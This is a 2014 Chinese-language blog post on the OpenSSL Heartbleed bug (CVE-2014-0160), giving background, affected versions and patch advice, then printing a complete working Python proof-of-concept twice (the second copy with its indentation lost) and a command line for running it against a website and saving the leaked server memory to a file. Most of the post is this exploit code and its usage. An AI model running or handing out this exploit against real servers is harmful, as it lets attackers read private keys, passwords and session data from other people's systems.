OpenSSL严重安全漏洞专文<附POC等等>

发表于 2014年04月09日
周边

目录表

CVE-2014-0160漏洞背景

2014年4月7日OpenSSL发布了安全公告，在OpenSSL1.0.1版本中存在严重漏洞（CVE-2014-0160），此次漏洞问题存在于ssl/dl_both.c文件中。OpenSSL Heartbleed模块存在一个BUG，当攻击者构造一个特殊的数据包，满足用户心跳包中无法提供足够多的数据会导致memcpy把SSLv3记录之后的数据直接输出，该漏洞导致攻击者可以远程读取存在漏洞版本的openssl服务器内存中长大64K的数据。

OpenSSL受影响和不受影响版本

OpenSSL 1.0.1f（受影响）
OpenSSL 1.0.1g （不受影响）
OpenSSL 1.0.0 branch （不受影响）
OpenSSL 0.9.8 branch （不受影响）

对此我们给出如下建议

OpenSSL版本升级到最新的1.0.1g
重新生成你的私钥
请求和替换SSL的证书
使用-DOPENSSL_NO_HEARTBEATS参数重新编译低版本的OpenSSL以禁用Heartbleed模块
最新版本升级地址为：https://www.openssl.org/source/. （OpenSSL官方）

Heartbleed.com已经披露了相关细节，指出该漏洞与OpenSSL传输层安全协议的“heartbeat”部分有关。该问题甚至比苹果最近的SSL bug还要危险(因为这敞开了被恶意中间人攻击的大门)。
该bug是由安全公司Codenomicon和谷歌安全工程师独立发现的，据了解国内大量网站存在该漏洞，网友更称该漏洞为今年史上最强大的漏洞，如下图：

POC等，你懂的

在线检测：
您可以通过以下地址检测您的网站是否存在该漏洞，如下任意一个均可：
http://possible.lv/tools/hb/
http://filippo.io/Heartbleed/

POC下载：
(本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!)
ssltest.zip

同时贴一份POC代码在这：

#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                  
''')

hb = h2bin(''' 
18 03 02 00 03
01 40 00
''')

def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time() 
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
        

def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay

def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False

def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    print 'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)

if __name__ == '__main__':
    main()

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#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)

# The author disclaims copyright to this source code.

import sys

import struct

import socket

import time

import select

import re

from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')

options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def h2bin(x):

return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''

16 03 02 00 dc 01 00 00 d8 03 02 53

43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf

bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00

00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88

00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c

c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09

c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44

c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c

c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11

00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04

03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19

00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08

00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13

00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00

00 0f 00 01 01

''')

hb = h2bin('''

18 03 02 00 03

01 40 00

''')

def hexdump(s):

for b in xrange(0, len(s), 16):

lin = [c for c in s[b : b + 16]]

hxdat = ' '.join('%02X' % ord(c) for c in lin)

pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)

print ' %04x: %-48s %s' % (b, hxdat, pdat)

def recvall(s, length, timeout=5):

endtime = time.time() + timeout

rdata = ''

remain = length

while remain > 0:

rtime = endtime - time.time()

if rtime < 0:

return None

r, w, e = select.select([s], [], [], 5)

if s in r:

data = s.recv(remain)

# EOF?

if not data:

return None

rdata += data

remain -= len(data)

return rdata

def recvmsg(s):

hdr = recvall(s, 5)

if hdr is None:

print 'Unexpected EOF receiving record header - server closed connection'

return None, None, None

typ, ver, ln = struct.unpack('>BHH', hdr)

pay = recvall(s, ln, 10)

if pay is None:

print 'Unexpected EOF receiving record payload - server closed connection'

return None, None, None

print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))

return typ, ver, pay

def hit_hb(s):

s.send(hb)

while True:

typ, ver, pay = recvmsg(s)

if typ is None:

print 'No heartbeat response received, server likely not vulnerable'

return False

if typ == 24:

print 'Received heartbeat response:'

hexdump(pay)

if len(pay) > 3:

print 'WARNING: server returned more data than it should - server is vulnerable!'

else:

print 'Server processed malformed heartbeat, but did not return any extra data.'

return True

if typ == 21:

print 'Received alert:'

hexdump(pay)

print 'Server returned error, likely not vulnerable'

return False

def main():

opts, args = options.parse_args()

if len(args) < 1:

options.print_help()

return

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print 'Connecting...'

sys.stdout.flush()

s.connect((args[0], opts.port))

print 'Sending Client Hello...'

sys.stdout.flush()

s.send(hello)

print 'Waiting for Server Hello...'

sys.stdout.flush()

while True:

typ, ver, pay = recvmsg(s)

if typ == None:

print 'Server closed connection without sending Server Hello.'

return

# Look for server hello done message.

if typ == 22 and ord(pay[0]) == 0x0E:

break

print 'Sending heartbeat request...'

sys.stdout.flush()

s.send(hb)

hit_hb(s)

if __name__ == '__main__':

main()

使用方法疑难：
假设poc文件openssl.py，配置python环境运行命令，将数据保存到这****.txt中（前提存在漏洞）

openssl.py www.****.net -p 443 >****.txt

1	openssl.py www.**.net -p 443 >**.txt

部分朋友说运行py会报错，原因是你使用了最新的Python3环境，而POC是基于Python27写的，换成Python27即可。

golang 版：https://github.com/titanous/heartbleeder

OpenSSL严重安全漏洞专文<附POC等等>

CVE-2014-0160漏洞背景

OpenSSL受影响和不受影响版本

对此我们给出如下建议

POC等，你懂的

更多技术细节